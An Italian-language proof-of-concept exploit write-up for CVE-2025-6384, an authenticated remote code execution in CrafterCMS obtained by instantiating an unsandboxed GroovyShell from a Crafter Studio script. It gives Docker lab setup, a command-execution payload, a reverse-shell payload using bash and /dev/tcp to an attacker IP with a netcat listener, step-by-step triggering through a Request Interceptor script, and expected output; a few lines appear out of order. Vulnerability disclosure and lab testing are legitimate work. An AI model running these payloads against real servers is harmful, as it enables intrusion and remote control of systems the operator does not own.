
Exploit PoC per una RCE autenticata in CrafterCMS tramite bypass della sandbox di Groovy (CVE-2025-6384)
Una prova di concetto per una vulnerabilità di Remote Code Execution autenticata in CrafterCMS.
Un utente autenticato con privilegi di sviluppatore può bypassare la sandbox degli script Groovy in Crafter Studio per ottenere l'esecuzione remota di codice (RCE). La sandbox non riesce a bloccare l'istanziazione di una nuova GroovyShell, che può essere utilizzata per creare un nuovo ambiente di esecuzione senza restrizioni.
Puoi distribuire rapidamente un'istanza CrafterCMS vulnerabile per i test utilizzando i file ufficiali di Docker Compose.
Clona il repository docker-compose da CrafterCMS:
git clone https://github.com/craftercms/docker-compose.git
Vai alla directory dell'ambiente di authoring:
cd docker-compose/authoring
Avvia i container. Questo scaricherà le immagini necessarie e avvierà lo stack CrafterCMS.
docker-compose up
(Nota: potrebbe essere necessario sudo a seconda dell'installazione di Docker.)
Attendi che i servizi siano completamente inizializzati. Puoi accedere a Crafter Studio all'indirizzo http://localhost:8080/studio.
adminadminMentre la sandbox blocca correttamente i metodi di esecuzione diretti, consente il seguente payload, che crea una nuova shell Groovy senza sandbox.
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")
// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)
Questo payload dimostra la piena RCE stabilendo una reverse shell verso una macchina controllata dall'attaccante.
Sulla tua macchina, avvia un listener (ad esempio usando netcat) per ricevere la connessione in arrivo:
nc -lvnp 4444
Usa il seguente script Groovy come payload. Ricorda di sostituire <YOUR_IP> e <YOUR_PORT> con l'indirizzo IP e la porta del tuo listener.
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// Use triple quotes to handle the command string easily
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("Reverse shell payload executed.")
Accedi a Crafter Studio (http://localhost:8080/studio) con le credenziali predefinite (admin / admin).
Vai a Site Config -> Scripts.
Fai clic su Create/Edit Script nella sezione "Groovy Scripts".
Scegli un tipo di script che verrà eseguito, ad esempio Request Interceptor.
Incolla il payload PoC nell'editor di script e salvalo.
Attiva lo script visitando qualsiasi pagina del sito web (ad esempio http://localhost:8080).
Controlla i log di errore standard del server per vedere l'output del comando.
docker-compose logs -f crafter
Output atteso:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
Questo materiale è solo a scopo educativo e di ricerca. L'autore non è responsabile per eventuali usi impropri o danni causati da queste informazioni.
netcat. Dovresti ricevere una sessione di shell dal container.
